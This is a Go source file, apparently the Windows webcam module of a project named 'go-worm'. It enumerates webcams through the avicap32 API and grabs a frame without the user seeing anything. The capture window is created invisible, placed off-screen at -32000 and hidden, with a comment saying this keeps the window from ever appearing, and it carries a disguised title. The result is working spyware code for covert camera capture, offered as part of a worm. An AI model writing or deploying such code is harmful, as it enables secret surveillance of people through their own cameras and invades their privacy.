go-worm/lib/webcam/webcam_windows.go

//go:build windows

package webcam

import (
	"errors"
	"fmt"
	"os"
	"path/filepath"
	"sync"
	"syscall"
	"unsafe"

	"tea.chunkbyte.com/kato/go-worm/lib/models"
)

// ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices.

var ErrDeviceNotFound = errors.New("webcam not found")

var (
	avicap32                     = syscall.NewLazyDLL("avicap32.dll")
	user32                       = syscall.NewLazyDLL("user32.dll")
	procCapCreateCaptureWindowW  = avicap32.NewProc("capCreateCaptureWindowW")
	procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
	procSendMessageW             = user32.NewProc("SendMessageW")
	procDestroyWindow            = user32.NewProc("DestroyWindow")
	procShowWindow               = user32.NewProc("ShowWindow")
	captureMu                    sync.Mutex
)

const (
	wmUser                = 0x0400
	wmCapStart            = wmUser
	wmCapUnicodeStart     = wmUser + 100
	wmCapDriverConnect    = wmCapStart + 10
	wmCapDriverDisconnect = wmCapStart + 11
	wmCapFileSaveDIBW     = wmCapUnicodeStart + 25
	wmCapGrabFrame        = wmCapStart + 60
	wmCapSetPreview       = wmCapStart + 50
	wmCapSetScale         = wmCapStart + 53
	wsPopup               = 0x80000000
	swHide                = 0
	maxDrivers            = 10
)

type Device struct {
	Index   int    `json:"index"`
	Name    string `json:"name"`
	Version string `json:"version,omitempty"`
}

func List() ([]Device, error) {
	var out []Device
	for i := 0; i < maxDrivers; i++ {
		nameBuf := make([]uint16, 128)
		verBuf := make([]uint16, 128)
		ok, _, _ := procCapGetDriverDescriptionW.Call(
			uintptr(i),
			uintptr(unsafe.Pointer(&nameBuf[0])),
			uintptr(len(nameBuf)),
			uintptr(unsafe.Pointer(&verBuf[0])),
			uintptr(len(verBuf)),
		)
		if ok == 0 {
			continue
		}
		name := syscall.UTF16ToString(nameBuf)
		if name == "" {
			continue
		}
		out = append(out, Device{
			Index:   i,
			Name:    name,
			Version: syscall.UTF16ToString(verBuf),
		})
	}
	return out, nil
}

func Capture(index int, format string, quality int) (models.CapturedImage, error) {
	captureMu.Lock()
	defer captureMu.Unlock()

	devices, err := List()
	if err != nil {
		return models.CapturedImage{}, err
	}
	found := false
	for _, d := range devices {
		if d.Index == index {
			found = true
			break
		}
	}
	if !found {
		return models.CapturedImage{}, ErrDeviceNotFound
	}

	title, err := syscall.UTF16PtrFromString("win64_mp_webcam")
	if err != nil {
		return models.CapturedImage{}, err
	}
	off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears
	hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
		uintptr(unsafe.Pointer(title)),
		wsPopup, // no WS_VISIBLE
		off, off, 320, 240,
		0, 0,
	)
	if hwnd == 0 {
		return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
	}
	_, _, _ = procShowWindow.Call(hwnd, uintptr(swHide))
	defer procDestroyWindow.Call(hwnd)

	ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
	if ok == 0 {
		return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index)
	}
	defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0)

	_, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0)
	_, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0)
	ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0)
	if ok == 0 {
		return models.CapturedImage{}, errors.New("grab frame failed")
	}

	tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp")
	if err != nil {
		return models.CapturedImage{}, err
	}
	tmpPath := tmp.Name()
	_ = tmp.Close()
	defer os.Remove(tmpPath)

	pathPtr, err := syscall.UTF16PtrFromString(tmpPath)
	if err != nil {
		return models.CapturedImage{}, err
	}
	ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr)))
	if ok == 0 {
		// Some drivers only accept ANSI SAVEDIB.
		ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath))
		if err != nil {
			return models.CapturedImage{}, errors.New("save frame failed")
		}
		ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath)))
		if ok == 0 {
			return models.CapturedImage{}, errors.New("save frame failed")
		}
	}

	raw, err := os.ReadFile(tmpPath)
	if err != nil {
		return models.CapturedImage{}, err
	}
	img, err := decodeBMP(raw)
	if err != nil {
		return models.CapturedImage{}, err
	}
	data, contentType, err := encodeImage(img, format, quality)
	if err != nil {
		return models.CapturedImage{}, err
	}
	b := img.Bounds()
	return models.CapturedImage{
		ContentType: contentType,
		Data:        data,
		Width:       b.Dx(),
		Height:      b.Dy(),
	}, nil
}